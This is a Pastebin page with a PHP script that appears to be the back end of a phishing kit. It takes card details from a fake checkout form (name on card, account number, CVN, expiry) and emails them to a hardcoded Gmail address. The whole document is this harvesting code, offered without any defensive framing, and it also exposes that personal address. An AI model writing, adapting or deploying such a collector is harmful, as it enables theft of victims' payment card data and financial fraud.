Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // Details, chage according to yours
- /*
- $database_name = "logs";
- $mysql_username = "root";
- $mysql_password = "";
- $host_name = "127.0.0.1";
- $table_name = "user_details";
- */
- $youremail = "amando96@gmail.com";
- // connect to the DB
- /*
- $con = mysql_connect("$_host","$_username","$_password");
- if (!$con){
- die('Could not connect: ' . mysql_error());
- }
- */
- // if email is set, add to email body
- if(isset($_POST["Address_EmailAddress"])){
- $message = "Email: ".$_POST["Address_EmailAddress"]."<br/>";
- }
- // if payment type is set, add to email body
- if(isset($_POST["PaymentMethod_PaymentType"])){
- $message .= "Payment method: ".$_POST["PaymentMethod_PaymentType"]."<br/>";
- }
- // if name on card is set, add to email body
- if(isset($_POST["PaymentMethod_FullName"])){
- $message .= "Name on card: ".$_POST["PaymentMethod_FullName"]."<br/>";
- }
- // if account number is set, add to email body
- if(isset($_POST["PaymentMethod_AccountNumber"])){
- $message .= "account number: ".$_POST["PaymentMethod_AccountNumber"]."<br/>";
- }
- // if CVN is set, add to email body
- if(isset($_POST["PaymentMethod_CVN"])){
- $message .= "CVN: ".$_POST["PaymentMethod_CVN"]."<br/>";
- }
- // if expiry date is set, add to email body
- if(isset($_POST["PaymentMethod_ExpirationMonth"])){
- $message .= "Expiration: ".$_POST["PaymentMethod_ExpirationMonth"]."<br/>";
- }
- mail('$youremail', 'User data', $message);
- //echo $message;
- // close connection
- //mysql_close($con);
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement